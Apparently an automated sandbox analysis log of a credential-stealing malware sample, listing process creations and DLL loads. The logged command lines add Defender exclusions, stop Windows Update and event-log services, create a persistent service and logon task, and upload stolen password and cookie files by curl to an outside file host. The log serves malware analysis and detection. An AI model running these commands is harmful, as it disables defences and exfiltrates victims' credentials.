Source: C:\Users\user\AppData\Roaming\Update.exe	Process created: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe "C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Process created: C:\Users\user\AppData\Roaming\SearchServices.exe "C:\Users\user\AppData\Roaming\SearchServices.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior
Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc	Jump to behavior
Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc	Jump to behavior
Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv	Jump to behavior
Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits	Jump to behavior
Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc	Jump to behavior
Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0	Jump to behavior
Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior
Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0	Jump to behavior
Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "KPAADCYR"	Jump to behavior
Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "KPAADCYR" binpath= "C:\ProgramData\xskudridktfu\vmarkghgnurz.exe" start= "auto"	Jump to behavior
Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog	Jump to behavior
Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks" /create /tn "Update" /sc ONLOGON /tr "C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe" /rl HIGHEST /f	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile"
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile"
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile

Source: C:\Users\user\Desktop\w85VkFOxiD.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\w85VkFOxiD.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\w85VkFOxiD.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\w85VkFOxiD.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\w85VkFOxiD.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\w85VkFOxiD.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\w85VkFOxiD.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\w85VkFOxiD.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\w85VkFOxiD.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\w85VkFOxiD.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\w85VkFOxiD.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\w85VkFOxiD.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\w85VkFOxiD.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\w85VkFOxiD.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\w85VkFOxiD.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\w85VkFOxiD.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\w85VkFOxiD.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\w85VkFOxiD.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\w85VkFOxiD.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\w85VkFOxiD.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\w85VkFOxiD.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\w85VkFOxiD.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Update.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Update.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Update.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Update.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Update.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Update.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Update.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Update.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Update.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Update.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Update.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Update.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Update.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Update.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Update.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Update.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Section loaded: cryptnet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Section loaded: libffi-7.dll
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Section loaded: vcruntime140_1.dll
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Section loaded: libcrypto-1_1.dll
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Section loaded: libssl-1_1.dll
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Section loaded: sqlite3.dll
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
